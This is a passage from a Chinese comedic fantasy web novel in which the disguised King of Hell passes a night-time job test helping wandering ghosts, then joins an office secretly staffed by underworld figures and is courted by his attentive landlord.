还是之前的那个涂着红指甲的女人,声音明亮又清晰,也很果断,“复试很简单,抽签决定任务目的地,完成即可。”
就三个人,一人一个。
一个是去太平间,一个去荒山坟地,只有阎璟抽到的是街头巡检。
说不上来是走运呢还是走运呢!
“完成标准是什么?”
“在目的地待上一夜,了解客户的实际需求,最后没疯,就算通过。”
阎璟明白这是测试大家的心理承受能力!
对他来说简直是小菜一碟!
跟人打交道他不行,但是跟鬼,他可以装!
只是得跟冷樾打电话报备一声,今天晚上不能回去了。
这个念头一出来,阎璟自己先吓了一跳。
他只是个租客,为什么要跟房东报备自己的私人行程,但是一想那个人是冷樾,好像也不奇怪了!
“喂,冷樾,我今晚有点事,回不去了。”
冷樾倒是显得没什么,“行,我知道了,晚餐就不做你那份了。”
“好。”
阎璟挂了电话,才后知后觉,啊!原来,我跟冷樾报备是为了让他不用麻烦给自己准备晚餐。
嗯,合情合理!
8. 蹲街头的阎王大人
他们两人羡慕阎璟的好运气,不用去荒山,也不用去医院的太平间,那种阴森的地方,只需要逛逛街就行。
阎璟则是羡慕他们,找客户一找一个准,不像他,还得满大街跟无头苍蝇一样。
S城,明与暗的交接处,光线如同潮水一般慢慢褪去,剩下的星光璀璨,为这座城市渡上诗情画意的万家灯火。
阎璟很少这么近距离的感受到人间的气息,走在街头,望着前方LED灯箱幕布,明明灭灭,闪闪烁烁,空气中弥漫着这座城市独特的汽车尾气的味道。
冥界和人间界,虽在不为人知的地方紧紧相连,但到底一阴一阳,就像彼岸花一样,花开不见叶,叶落不见花,永不交集。
时间还早,阎璟四处走走,遇到一些没见过的科技产物,顿足张望,有些摸不着头脑,索性在附近的找个公交站台安静坐了下来。
公交站来来去去很多乘客,走了又来,不停换新,只有阎璟一个人,孤零观望,没有哪辆公交停下后,会让他抬脚驻足。
其中也有一些好心人,对他好奇的,问他需不需要帮助。
阎璟摆摆手。
确定不需要帮忙,人才放心离开。
人间是有爱的。
冥界嘛!也有,不多!
他长年累月的处理公务,都快变成一个没有感情只会判决处罚的无情者。
反而这次来到人间界,让他真真切切体验一把,也让他明白其实黑暗并不纯粹。
冷樾坐在街角的商务车里,目光视线透过车窗,望着不远处坐在公交站台上孤零零的人影。
心理不知道在想些什么!
这位阎王大人跟他在一起这么多天,都没想起来他是谁?该说他心大,还是说这世间压根没有人能走进阎王大人的心里。
“不着急,慢慢来。”冷樾的声音在空荡荡的车里显得格外清晰,像是安慰自己,但同时也充满了笃定,“一年不够,就再一年,再再一年,早晚……”
夜半钟声,午时已到。阴阳交替,万物共生。
坐了半天的阎璟肚子不争气的开始叫唤,没有冷樾在身边,他连吃饭都是个问题。
不过,饿个一两顿应该也饿不死。
就是没有想到,在人间界不按时吃饭的副作用有点大,此刻的他全身无力,心口发闷。
而且,他扫视几圈也没有找到未登记在册的死魂,原本他想那出生死簿来查一下,但是又怕暴露了身份,惹来冥界那群活爹找来,给自己带来不必要的麻烦!
所以,只能选择一个守株待兔的笨方法。
蹲!
蹲在马路牙子上!看哪个不长眼的撞上来?
别说,还真有!
凌晨三点半,阎璟终于看到一个在街头飘飘荡荡的游魂,离他越来越近,脸上满身的鲜血,完全看不清楚样貌。
空荡的街道只有一个人影,那就是正在守株待兔的阎璟。
自然也就成了游魂唯一的目标。
来了,他过来了。
阎璟抓紧调整下自己呼吸,尽量让自己看起来和蔼可亲。
游魂贴上他的脸,太近了。
阎璟面无表情,当是没有看到他一般,目光直视前方,忽略那满眼的血腥马赛克。
游魂先生先是飘到阎璟跟前,瞅了很久。
久到阎璟眼睛都酸了,他居然还不挪开,那张血腥的脸上,真的没那么好看。
阎璟刚想打破这尴尬的境地,没想到,游魂突然动了,开口第一句,“天!我在世的时候,怎么没遇到这种极品,死后让我遇到有什么用!”
阎璟:“……”在说他吗?
“喂,你叫什么名字?”游魂又飘到他上方,后方,左方,右方。不停在他耳边说一些阎璟听不懂的话,“为什么这么晚还不回家?家里人不担心你吗?”
家人?他好像没有。
游魂先生又说,“你看着太可口了,这么晚在街上逛,容易出祸端。”
还是个好心鬼!
阎璟觉得他再不说话,可能就不中了。于是低声问了一句,“你是怎么死的?”
游魂先是左右看看,确定四周无人,才确定这声音是从阎璟的嘴角问出来的。
十分惊讶,“你能听到我说话?”
阎璟点点头,身子坐直往后靠,与他拉开距离,“你别瞅我,你有点吓人。”
游魂先是一愣,呵呵笑了出来,本来就血腥的脸上还做鬼脸,“我是鬼,当然都是可怕的。”
阎璟见过的鬼比见过人多亿万倍,自然不是怕,小声道:“不是怕鬼,你就是有点不好看。”
还是颜控?游魂又是一愣?
“所以你是怎么死的。”先问起因,后问心愿,了却心愿,送去投胎。这是阎璟比较人性化的流程。
游魂蹲在阎璟旁边的位置上,伸手抱着头,颓废郁闷,“被车撞的,可惨了。”又想了想,把自己的身世托盘而出,“我是被我亲弟弟和我的未婚妻联手,制造车祸撞死的。”
“听起来有故事啊!”
“哎!故事也简单,就是家族里原本给我定了个婚,已经筹备婚礼准备结婚了,但是我弟弟突然反对,于是把我囚禁起来。后来我发现,我弟弟和我那未婚妻同流合污,于是他们找人撞死了我,死的透透的。”
“绿帽子挺亮的。”阎璟朝他头顶瞥了一眼。
游魂:“我谢谢你的安慰。”
阎璟深表同情,又问,“你为什么不去投胎,还有什么心愿没有完成吗?”
游魂:“有啊,因为这件事我一直耿耿于怀,所以,我想弄死他们。如果上天给我一次重生的机会,我一定……”
阎璟:“打住,重生不了,咱们这不是重生文,所以你的心愿是什么?”
游魂开始义愤填膺起来,一脸傲骨,“找到那对狗男女,弄死他们。”
“你已经死了。”阎璟无奈,顶着一张血肉模糊的脸实在是有伤风化,于是,对着他额间一点,脸上原本满脸血腥破破烂烂的游魂,瞬间变得干净起来,身上若有若无散发着阵阵白光。
一身民国的修身月牙长袍,长像比较周正,眉宇间看起来像是个有文化的知识份子。
“你死多久了?”阎璟纠结半天,还是一脸菜色的问了出来。
“不知道。”
“你什么时候死的?这总知道吧!”
“民国五十五年!”
阎璟眼睛一黑,掐指一算,死了六十年!他总算知道,地府的投胎率低下是怎么来的了!
这不低就有鬼了!
心愿满足不了,执念散不了,投胎不了,死循环啊!
阎璟转念一想,“不对啊!你刚不是说有家族,怎么会现在是个无主无宗的游魂?”
游魂也比较懵,摇摇头,“母鸡啊!”
得了,飘荡这么多年,比他时髦多了。<
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阎璟叹了口气,“这样吧,你别在世间乱飘了,你去青灯山上面的山神庙,找一个黄大仙的人,就说有人让你在那里暂住一段时间,我得了闲会去找你的。”
游魂满头疑惑,“你是道士?看着不像啊!小哥。”
被人叫小哥的阎璟突然被噎,“我的确是修道的。”
不过他修的是阴阳道,万物均衡。
“告诉我你的名字,你弟弟叫什么名字,我回头问问他的下落。”
“我叫沈松岩,垃圾弟弟叫沈岱青。”
游魂说完,便阎璟道别,飘飘然而去。
“沈岱青?这名字有点耳熟。”阎璟回想六十年前,好像黑白无常来找他抱怨过,说奈何桥上来个神经鬼,来一个鬼魂他就疯一会,抓着排队过桥的鬼不放,后来被他强行让人带去做心理矫正。
“那人,不是早死了吗?”
阎璟为了验证自己的猜想,搜寻脑海里两个人的阳寿情况,发现,这兄弟俩确实是死在同一天。
兄弟俩,一个在人间飘荡,一个在地府枯等,难为了他的投胎率啊!
阎璟在记录表上记录一下基本信息,便打算回去,刚走两步,街头又是一个游魂?
不会吧!
这么多没登记在册的吗?
阎璟想了一下,鼓起勇气,给自己打气,上前一步,前去询问,“你好。”
“啊!!!!!!!”
似乎被阎璟惊吓的游魂惊叫起来。
把阎璟也吓了一跳!
对方转过身来,阎璟才发现,原来是个女子,倒是看不出来怎么死的,干干净净的穿着哆啦A梦的睡衣。
“你叫我?”
阎璟点点头,问她:“你怎么死的?”
“你才死了呢?我在家睡觉睡好好的,一睁眼就到这了。”
阎璟拍拍胸脯,被她惊叫吓到,又仔细看看她的情况。
伸手在她眉心一点,略有些吃惊,这人没死,一个生魂怎么跑出来溜达?
“小妹妹,估摸着你这会子在做梦呢。”阎璟看着天际,“天快亮了,早些回去吧,梦该醒了。”
女子认认真真看着阎璟,还没来得及问他的名字,便被阎璟一个脑瓜崩直接打弹回去。
做完一切,阎璟深深叹了口气,原来,基层员工真的挺不容易的。
今夜才两个游魂,其中一个还是因为做噩梦,灵魂出窍的生魂。
在阎璟看不到的角落里,冷樾一路默默跟在他身后,就这么静静看着。
又过一会,路过一个十字路口。
冷樾推门进了一家24小时的便利店,跟里面的人交待了几句,便从后门离开。
前脚刚走,后脚阎璟便过红绿灯路过那里。门口一个中年人喊住阎璟,问他要不要进来坐坐。
阎璟身无分文,对于别人的好意,他不太好意思接受,习惯性的连忙摆手。
“进来吧!这一条街上都还没开,就我们这一家,进来歇息一会,吃点东西。”
阎璟还有摇摇头,“我没有钱。”
“不要钱。”老板心善,特意跟他说,“都是上班夜没有卖完的,如果吃不完,我们也得扔掉,太浪费了。”
阎璟肚子确实有点饿,但他可以忍受。
倒是,他确实想找个地方坐一会。
“谢谢你老板。”
见人进了便利店,阴影处的冷樾才显出身形
9. 办理入职的阎王大人
便利店老板给他拿了一杯加料大满贯的关东煮,送到阎璟面前。
阎璟有点手足无措,翻了自己的裤兜,从里面找出几张冷樾一开始塞给他的纸币,给老板递了过去。
老板也有点不好意思的接过,毕竟,刚刚已经收过人钱了,又答应了那人不能说,“得,我再去给你整点喝的。”
阎璟再次道谢,找个最近靠窗的位置坐了下来,一点点拿起串串填肚子。
热气哈在透明玻璃上,形成雾气,模糊不清,那一瞬间,阎璟似乎在街的另一边看到冷樾站着的身影,正一脸温柔的望着他。
再揉揉眼,仔细一看,哪里有有人影!
果然是自己看错了。
阎璟的这个身子现在跟普通人没什么差别,有时他挺生气,天道那些不做人估计在故意整他。
不吃饭肚子会饿,不睡觉身子会疲惫,阎璟迷迷糊糊的趴在桌子上,思绪跳跃,前一秒沉侵在与天道对骂中,后一秒,又想起冷樾这个万能房东,没过多久,眼睛一闭浅睡过去。
睡前还在想,天一亮回去能不能吃上冷樾熬香喷喷的米粥。
便利店老板时刻关注着阎璟的动静,起身从后面到休息室里,拿起一个格子毛毯朝阎璟走去,动作轻盈盖在他身上,又把阎璟吃剩的垃圾盒和空杯收走,回到自己的位置上开始算一天的营收。
原本在街角的冷樾,迎着路灯不知不觉走近窗边,透过便利店外面的玻璃看着阎璟安静的趴在桌上一动不动。
他弯下腰再靠近些,食指透过玻璃轻点他的额头。
便利店老板眼尖的很,刚想出声,朝看到冷樾一个噤声的动作,于是了然于心的点点头,继续做自己的事!
账目算结束后,再看窗外,人已经走了。
阎璟的睡姿倒是没变,还是半张脸埋在胳膊里,单纯的像个刚出生的婴儿,没有丝毫攻击力。
天光在城市的边缘慢慢渗透,最先跟它打招呼是城市两边的梧桐树的影子,它伸开懒腰,慢慢慢慢从地面爬起来,越来越大。
街灯也在晨雾中融合成光圈,一两个车辆,缓缓推开薄雾,几声急切的汽笛声传过来,阎璟被突然惊醒。
胳膊因为长时间保持未动,有些发麻。
起身自己身上一条黑白格毛毯,上面还有余温,收银台无人,后仓库那边有人在微微说话,估计老板在验货。
阎璟把毛毯叠好,放在桌子上面,用便签纸写了一句谢谢,转身便推门离开了。
伦晖科技集团,阎璟站在大厅等了好一会,终于在前台小妹的带领下,一路电梯17到层,人力资源部停下。
伦晖公司的人力资源部跟S城任何一家正儿八经的公司一样。
HR工位上堆满了文件,以及每位员工脸上都是一副“我很忙别烦我”的颓废感。
阎璟总觉得有哪点不对,兴许是一大早的,也兴许光线不对,他总感觉那员工脸上没有一点血色,缺少生机。
更让他觉得奇怪的事,他刚坐下没一会,打扫卫生的阿姨已经在他身边人转了好几圈,时不时捂嘴偷笑,时不时唉声叹气,又时不时暗送秋波。
?
不知道究竟想在他身上确定什么?
又等了好一会,那两个跟他同期的道士和尚,也才悠悠而来,一个边走边哈欠,一个眼皮耷拉着,状态都不怎么好。
阎璟好歹还睡了几个小时,这么一想,自己已经很幸福了。
“恭喜你们,通过复试。”这时,一位扎着丸子头,穿着一身职业套装的甜妹子,笑的一双弯弯的笑眼,朝着他们走来,站定,自我介绍,“我叫孟小七,负责新人接待。”
“你好。”道士和尚微笑回礼,阎璟则是礼貌点点头,试图回以一个不那么僵硬的微笑,但失败了!
其他人都没当回事,只觉得孩子有点害羞。
“你们跟我来,我们先办理入职手续。”孟小七一双高跟鞋踩得出神入化,步步生花,一扭一晃真像样的走在前面。
入职流程冗长又机械化,无非就是填表,签合同,录指纹,拍照,制作工牌。
合同条款密密麻麻,阎璟粗略扫过几眼,除了比较中规中矩的的薪资福利,保密协议,还有几条格外扎眼。
“第2.3条:员工需理解并适应公司业务的特殊性,并开展相关业务进行提报。”
“第3.5条:禁止在任何场合,以任何形式,讨论或质疑公司核心业务。”
阎璟握着笔的手指渐渐收紧,心想这就是人间界新型的卖身契。
哦不,劳务合同!
“别担心,”孟小七仿佛看出了阎璟的不安,笑容依旧甜美,“这些都是例行条款,大部分时候用不上的。而且我们公司的企业文化,是很包容的。”
她又顿了顿,声音放轻了些,带着点神秘的意味,“毕竟,我们处理的业务……比较特殊,想必昨天,你们已经领教过了。”
阎璟:“……”
办完手续后,孟小七递给他们一人一个印有公司Logo的纸袋,里面装着员工手册,笔记本电脑,朱砂笔和定位罗盘。
还有一小包独立包装的……茶叶?
“这算是公司福利,新员工特供。”孟小七眨眨眼,“工作累了泡一杯,提神醒脑,效果特别好。”
阎璟道谢接过,刚碰到茶包,鼻尖便闻到一种很熟悉的味道。
此茶包,有诈!
“行了,都收起来吧,接下来带你们去熟悉工位。按照公司制度,你们分配部门是【灵魂服务优化部】,在A区。”孟小七带着他们在楼层里绕了又绕,像走进八卦图里一样,七拐八拐,终于来到位置上。
A区业务部门的氛围和刚刚人力资源部门明显不同,不至于死气沉沉,但是相当怪异。
灯光更暗一些,每个人都形态各异,面前的办公桌上除了电脑,还堆着一些奇奇怪怪的东西。
就拿阎璟刚刚经过的那个工位上来说,就放着一台老式铜制天平,无任何东西,但是左右来回摇摆,旁边贴着的便签上写着:勿动,动者死!
另一个工位上面前立着个小小的的木龛,里面似乎有幽光闪烁,似乎封印着什么。
空气中隐约飘着一种奇特的香气,一丝极淡的,香火余烬的味道,有人在烧香。
孟小七停在
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一个靠角落的工位前。
“阎璟,这里就是你的位置了,隔壁业务员叫白念生,今天出去跑业务去了,也是你们部门的,人很热情,你以后你有什么不懂的可以问他,他负责带你入门。”
阎璟点头表示知道了。
孟小七则带着其他人,头一歪,“你们两个跟我来。”
阎璟坐在位置上看着他们继续往前走。
周边就斜对方一个人两眼放光,好奇盯着他,阎璟抬眼瞄他一眼,又快速收回眼神,再三思量要不要过去跟前辈打个招呼。
犹豫刚一会,孟小七已经带着两个人回来,经过他工位,“阎璟,走吧!”
阎璟立马起身,跟在其身后,一头问号。
孟子七一看到他呆呆愣愣的表情,心里就开心,往后肯定很多乐趣,“是这样,今天只是带你们办理入职流程,熟悉办公场地,明天正式上班。今天你们可以回去休息了。”
小道士两手一拍,“太人性化了,公司简直真是活菩萨。”
孟小七立刻打断他,“别在公司提菩萨。”
“为何?”
“因为我们的老大,不喜欢那群秃驴。”
阎璟和道士纷纷把眼光投向最后的和尚,和尚不语,只是闭上眼,“阿弥陀佛。”
众人:“……”
阎璟出公司大门,就看到冷樾背对着,站在前面的花坛前,旁边公司的保安笑意盈盈跟他说话。
因为背对着,冷樾的表情看不真切,但是感觉兴致不高的样子。
道士和尚两个都是非常有个性的人,跟他招呼也不打,一左一右,各回各家,各找各妈!
阎璟往前几步,开口喊冷樾的名字。
冷樾的身体明显有反应,转过身来,一脸的明亮的笑容,这时,阎璟才发现,冷樾怀里抱着一束花。
是一束用奶皮子糖葫芦绑成的花。
“恭喜通过。”
阎璟诧异,“你怎么知道?”
冷樾扭头示意保安,“听他说的,保安大哥说,他们公司来新人了?”
阎璟更加诧异,“我没见过这位大哥。”
保安大哥嘿嘿两声。“我是听保洁阿姨说的。”
阎璟:“……”这公司真他妈八卦!
保安神秘一笑:“这是我们公司的传统,以后你就会领教了。”
冷樾把糖葫芦花递过去给他,“走吧回家。”
阎璟觉得抱着这个花的行为特别的傻,但是里面的糖葫芦他又真的放不下,权衡利弊后,决定再傻也得抱回家。
中途经过冷樾的公司,阎璟之前听他提过一嘴,相隔不远,没想到这么近。可转念一想,今天是周一呀!“冷樾,你不用去上班?”
冷樾边开车边说,“公司暂时每天什么要紧的事,总经办那几个人足够应付。所以,不需要我坐镇。”
坐镇!
阎璟觉得问这个问题简直就是多此一举,也是,家底深厚,又是独苗,几百年家底现在到冷樾手上,估计这辈子也不会给人当牛马。
“所以,那公司是你家开的。”
冷樾只是一味地抿唇轻笑。
10. 入职第一天的阎王大人
阎璟回到久违的大床上,慵懒地床上一趴,疲惫感如海水般接踵而来。
冷樾敲门几声,无人回应,直接轻推门进去,见人一动不动。
“小璟。”冷樾弯下要腰身慢慢靠近,想让他把衣服换下来。
阎璟迷迷糊糊间似乎听见冷樾的声音,但是他不想动弹,听到有人在唤他,下意识用脑海里的神识回答冷樾的呼喊,声音是不达修饰的不爽,问:“什么事?”
这一声倒是把阎王大人的威严泄了出来,声音冰冷。
让冷樾的身躯为之一振,倒不是害怕,而且还是阎璟无意识泄了威严,用了神力。
原本打算准备给他脱衣服的手,突然顿在半空,于是,同样脑海里回应他,“脱了衣服再睡。”
阎璟没有觉察到什么不对,或者已经习以为常,又过一会,才放松身体,任由疲惫感席卷全身,头一歪彻底睡过去。
冷樾知道,这是默许的意思,继续欺身上前,伸手替他褪去衣物,再穿好睡衣,将人扶正,盖好被子。
冷樾盯着睡熟的阎璟看了许久,久到最后心里也只说了两个字,“好梦。”
倦极而眠的阎璟,这一觉一直睡到凌晨三点。
神清气爽!
窗外院落中别致的路灯发着暖光,几个飞虫在灯光下翩翩起舞。
阎璟朝外看一眼,掀被起身,直径往院中的躺椅中一躺,开始尝试动用神力。
“哎!”就那么一丢丢,简直少的可怕。
人间界灵气稀薄,阎璟尝试吸纳天地灵气,看看能不要充盈一些。
谁知,刚闭上眼沉定,此刻,冷樾从屋里走出来,仿佛是背后长了个眼睛。
“小璟这么早就醒了。”
得,被打断了!阎璟缓缓睁开眼,坐起身子,一只腿搭在地上,姿态懒散,“嗯,有点饿了。”
冷樾一听,下意识去看正堂的线香和蜡烛。
阎璟瞬间明白他的意思,顿时哭笑不得,无奈说道:“我没去吃蜡烛。”
“那我去给你煮碗面条。”说着冷樾已经走到他面前,熟练伸手把人拉起来。一手牵阎璟,一手提着摇椅,把摇椅放在厨房的门口下的阳台处,旁边几株茉莉花鼓包还未盛开,阎璟重新被冷樾安排坐下来,他自己则是走另一个门进入内室,开始洗菜烧水煮面。
就这样,一个在里面,一个在外面,一个站着,一个悠哉悠哉坐着。隔着宽大的窗户,仿佛彼此天地间只剩下两人。
天上的星空看不太真切,雾蒙蒙的,但却很平静。
水正在烧,等空的间隙,冷樾走到窗边,趴在窗沿上,伸长刚好抚摸到窗外摇椅上阎璟的小脑袋,他问,“小璟,你觉得,这天地之间,最重要的是什么?”
阎璟不知道怎么话题就转到这么高深的地步,他回头抬眼看着冷樾那张脸,疑惑的同时又特别迷茫,好像很想有人告诉他答案。
阎璟被天道认可成为冥界之主时,没有思考过这种问题,许多事情都是先做了,后面才了解,慢慢顿悟,但是,做为阎王,他知道,“天地间存在的意义是以人为中心,以生命为目的,有道有法,有真有假。”
“人吗?”
“人在其中。正所谓,天地与我共生,万物与我唯一,道法自然!”
“道法自然。”冷樾嘴里喃喃自语。“不强求,不可求,不硬求。是这个意思吗?”
阎璟不知道他这具体是指什么,“求,最怕求不得,求有所得,也是道法自然的一种。”
“若我说,我对某个人,求而不得,你说我该怎么做?”
“对于感情之事,我不并擅长,抱歉,帮不了你。”阎璟实话实说,他就没有感情这种东西,也没有对什么事或者什么人执着到求而不得的地步,所以他无能为力。
冷樾看着他脑袋顶上的小漩涡,眼睛深邃,深深呼出口气,“怎么办?我想试一试,看看究竟是不是求而不得。”
冷樾毕竟是个毛头小子,血气方刚,正常。
阎璟表示点点头,也实在不忍心泼他冷水,“试试吧!生而为人,总归得一试。”
“好。”冷樾嘴角带笑,身后锅里到水沸腾了。
黑暗前的黎明,曙光出现,天际还是冷青青的孔雀蓝,但是最底下已经出现极淡的鱼肚白。
庭院里那些花骨朵上的露珠伸着头,仰着脖子如同嗷嗷待哺等待鸟妈妈回窝的初雏。
阎璟冷樾两人此时已经沿着半山腰晨跑回家,日出东方,红彤彤的阳光洒在两人身上,松针和夜混合在一起,冷冽,干净,又和谐。
冷樾照旧先送阎璟上班。
这次,阎璟怎么也不肯穿西装,说是打扮太过扎眼,于是,穿着一身白色运动套装。
虽然,冷樾一开始是起了想看阎璟白衬衫制服诱惑的模样,但是,第一次上班,是肯定要穿正装的。
可阎璟特别坚持,说他们公司跟别的公司不一样,不用太正式。
冷樾只好放弃劝说!
于是,阎璟刚到公司,准时打卡后,看到跟他一起的道士和尚都穿的西装革履时,他又懵了!
孟小七一开始没认出他来,近来才发现,确实是阎璟,“阎小璟,你是怎么回事,昨天面试,你穿的二五八万的,今天正式上班,你怎么这么悠然自得?”
阎璟:“……”冷樾,他又错了。
他想跑了,做人为什么这么复杂。
阎璟没有换衣服,实在没衣服可换。只能傻傻的坐在工位上发呆,工位很干净,电脑开机,屏幕是默认的蓝天白云壁纸,一看就是昨日全部新配置的。
阎璟淡淡坐下,拿过鼠标象征性点了几下。
慌一抬头,隔壁工位传来咔嚓咔嚓的脆响。
一个顶着一头乱糟糟栗色头发的年轻人,正瘫在坐椅上,双脚翘在桌面边缘,吊儿郎当,抱着一袋薯片吃得正欢。
嗯,也是穿的正装!
阎璟不动声色朝他看了几眼,想起昨日孟小七的话来,想必就是这个人,他的邻居。叫,白念……生?
白念生觉察到阎璟的目光,他猛然抬过头,露出一张娃娃脸,眼睛很大,眼珠灵活,嘴角还沾着薯片碎屑。
看向阎璟的眼睛,瞬间一亮,三两口咽下薯片,放下腿,刷地一下滑着椅子凑了过来。
“哟!新人!昨个小七妹妹已经跟我说过了。”他声音洪亮,带着毫不掩饰的好奇和兴奋,“咱们部门可算来新人了!这破部门都快长蘑菇了!我叫白念生,白色的白,念想的念,生死的生,你呢?”
白念生这种自来熟是不能理解阎璟这种社恐人的感受,他热情像一团火,扑面而来,烧得阎景下意识想后退。“阎……阎璟。”
阎璟往后挪了半步,因为再不挪,人就贴到他脸上了。
“阎璟?好名字!霸气!”白念声上下打量着他,目光在他脸上停留了几秒,突然又凑得更近,几乎要鼻尖碰鼻尖,用力嗅了嗅。
阎璟再次浑身僵住。
“呦!新人,你身上还挺挺凉快的……”白念胜退了回去,摸着下巴,眼神变得有些玩味,“味道也挺干净啊,是从下面来的?还是……”
他拖长了语调,没说完,但是那眼神里的打量……
阎景的心跳漏了一拍。
难道……
“小白,别吓着新人。”孟小七这时从后面走过来,轻声提醒,但语气里没什么责备,似乎已经习以为常了。
“哪儿能呢!”白念笑嘻嘻的,脸皮厚的不得了,“我这是表达欢迎!阎璟是吧?以后咱就是邻居了!放心,这部门活儿不多,就是有时候需求比较……抽象。对了……”
他压低声音,神神秘秘地,“下班有空没?公司附近新开了家烧烤,味道一绝,我请客!咱们哥俩深入交流一下?”
“他今天入职第一天,还有很多要熟悉的。”孟小七替阎璟解围,然后对阎璟说,“你的直属经理是云为衫,他出任务去还未回来。暂时由崔珏崔经理带你们。他上午有会,下午会找你。你先跟着白念生熟悉一下,多看看员工手册。有什么问题直接问白念生。”
阎璟点点头。
她留下一个完美的微笑,转身离开了,高跟鞋的声音渐渐远去。
白念生重新瘫回椅子,抓起薯片,一边吃一边含糊地说:“孟姐人挺好,就是泡的茶……有点小问题,嘿嘿,你喝了就知
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道了。对了,”
他踢了踢阎璟的椅子腿,“你真名叫阎璟?没别的……曾用名?艺名?代号?”
阎景坐下,打开电脑,假装专注地盯着屏幕。“没有。”
“哦。”白念生也不纠缠,咔嚓咔嚓继续吃薯片,但阎璟能感觉到,那探究的视线还黏在自己背上。
阎璟强迫自己集中精神,点开员工手册。
目录列着公司架构,规章制度,行为准则……
他滑动鼠标,手指突然停住。
在部门介绍的最后,关于《灵魂服务优化部》,有一行小字注释:
其主要职责:基于多渠道反馈,分析与优化终端用户(注:死魂,生魂,鬼魂),在核心业务流程中的体验,提升整体满意度,降低异常反馈率,增强客户满意度。】
阎景盯着屏幕,耳边似乎又响起了冥府年终大会上,那些灵魂充满怨气的投诉录音。
真是的!
就在这时,不远处传来一阵脚步声和说话声。
几个穿着西装或衬衫的人朝这边走来,似乎刚开完会。
为首的是一个身材微胖,面色红润的中年男人,梳着油光水滑的背头,手里拿着一个保温杯,正和旁边的人说着什么。
“……所以说,这个K3的目标很明确,灵魂投诉率必须下降15%,投胎界面那个加载动画太他妈晦气了,给我换掉!”
他的声音洪亮,当他经过阎璟工位时,脚步顿了一下。
他转过头,目光落在阎璟身上,上下扫视,眉头皱起,“新来的?”他问,语气不算客气。
白念生小声提醒他,这位就是崔经理。
阎璟连忙站起来,低眉顺目,“是,崔经理好,我是阎璟,今天刚入职。”
崔珏嗯了一声,又打量他几秒,那目光锐利,仿佛能穿透皮囊,然后,他挥了挥手,“行了,坐着吧。下午两点,来我办公室,给你讲讲最近的重点需求。白念生,多带带他,过两天有个任务带他一起去练手,先壮壮胆子。”
白念生点头,随意摆摆手,示意自己知道了。
说完,他不再看阎璟,继续和旁边的人讨论着什么入口的标识不够清,功德兑换列表需要增加SKU之类的话题,慢慢走远了。
阎静慢慢坐下,手心有点潮。
白念生在一旁幸灾乐祸地小声说,“老崔就这样,催命似的。他是做产品的,跟我们关系密切,业务要求那可真是……一个比一个地狱。”
他故意把地狱两个字咬得很重,然后观察着阎璟的反应。
可惜阎璟没什么反应。
然后,他移动鼠标,点开了桌面上的公司内部通讯软件。联系人列表很长,他慢慢往下翻到A组成员。
业务总监:空岗(待招)
业务组长:云为衫
业务员:白念生,阎璟。
技术总监:莫职
技术组长:苍郁青
技术组员:谢七爷,范八爷
产品总监:崔珏
保安部:牛力,马胜。
行政:孟小七。
巧合?还是……
阎璟盯着名字看了半晌,又沉默了好大一会儿,才拿起桌上你茶包,撕开,将淡褐色的颗粒倒入桌旁的马克杯,起身去茶水间接热水。
隔壁,白念已经吃完了薯片,正在用湿纸巾仔细擦着每一根手指,哼着不成调的曲子。
擦干净后,他伸了个懒腰,骨骼发出轻微的咔哒声。
“啊——”他长长舒了口气,然后转头,看向端着茶杯发愣的阎璟,咧嘴一笑,露出两颗尖尖的小虎牙。
“怎么样,新同事,”他语气轻快,眼神却深不见底,“咱这公司……还挺暖心的吧?没活时,歇息就好。”
阎璟没有回答,他低下头,吹开茶杯表面的热气,浅浅地抿了一口。
这味道,果然是孟婆汤。
还是改良版的,虽被极其稀释的,但效果还在的
上班第一天。
感觉周边同事都是披着马甲熟人局的体验。
真是远超他预料之外。
那这个白念生……的身份又是谁?
11. 被惊呆的阎王大人
阎璟对白念生有点好奇,但白念生对阎璟好奇心更大。
毕竟,据他所知,他们公司里大部分高层都他妈不是人。而这个看起来一无是处的小白脸能过五关斩六将的进来,肯定是走后门。
公司走后门进来的人可不再少数。最后还是看实力说话!
白念生噘噘嘴,弯腰蹲下把自己的私人小金库打开,从抽屉里七掏八捞拿出一罐薯片,给阎璟扔过去。
“碰!”一声把阎璟吓一大跳,回头对上白念生天真无邪的笑容,无语凝噎。
“吃吧!”那人特别灿烂,笑的特别大方。
阎璟吃饭就是维持身体没有饥饿感就行,他吃啥都行,不,话说早了,最近他的胃被冷樾调教的有点挑,这种垃圾零食,他没有一丝欲望。指指他后面墙上贴的公司规章制度,“好像这是违规的。”
白念生“呀!”一声,语气惊呼,“哎呀呀呀,天呐,我们这个部门来了个乖孩子呢!简直稀有品种,来来来,让哥哥仔仔细细瞧瞧。”
阎璟:“……”他是被人调戏了吗?
白念生一铲子滑倒阎璟的工位上,以一种过来人的口吻搭在他的肩膀上,“你才刚来,后面就会懂了。”
阎璟:“……”懂什么?
白念生咯咯笑,拍拍胸脯说,“算了,作为前辈我现在教你一些吧,免得你什么不知道,傻傻的做无用功。”
阎璟满头黑线,“谢谢你。”
白念生随意拿过一支笔和纸,在上面边说边画,“第一,我们公司规定上班时间早九晚六,周末双休,节假日按国家法定节假日放假,但以前的条例过期不候。”
阎璟不太理解这个【过期不候】的意思?
白念生凑上前,把人往下扒拉,开始秘密交谈,“意思就是,正常到了六点下班,就得抓紧跑,不然,就可能跑不掉了。节假日虽然正常放,但是活来了,你也得义务来加班。”
阎璟:“……”资本的剥削!
白念生继续:“第二,公司包三餐,早中晚你都可以在食堂吃,前提是,你的胃要能受得住。”
“很难吃吗?”阎璟开始蹙眉。
白念生欲言又止,“倒也不算难吃,就不是给人吃的。”
继续:“这第三嘛,公司的工资是按绩效发放的,也就是说你的业务能力和你的工资直接挂钩。”
阎璟点头。
他现在属于实习期,孟小七跟他讲过,实习期内不开张就没有工资,曾经也有已经入职,但是没有业绩实习期没过潜回的案例。
白念生伸出四根手指,再继续:“第四,凡事明面展现出来给你看的的公司章程,你可以当放屁!”
阎璟怀疑他上班第一天,这人是对的公司派来的奸细,哪有老人教新人双标的,“……不好吧。”
“第五……”
“……”
还有?
阎璟被他一板一眼的双面教学惊得目瞪口呆,他想了半天,问了一个内心很想知道的问题,“底下基层的员工都是按照你说的第二套标准来执行工作的吗?”
白念生把头一摇,摇头晃脑,形同神棍,“正所谓,上有政策,下有对策。”
阎璟再次无语,那他冥界地府里那些当官的是不是也是这样?
因为他社恐,不喜欢去跟别人打交道,所以,很少给他们交流,很多事你吩咐一,他们做二,然后给你呈现的是三。
最后,你只能四(死)。
他好像明白了!他管理不好冥界,是因为他不亲民,不了解下面人的呼声。
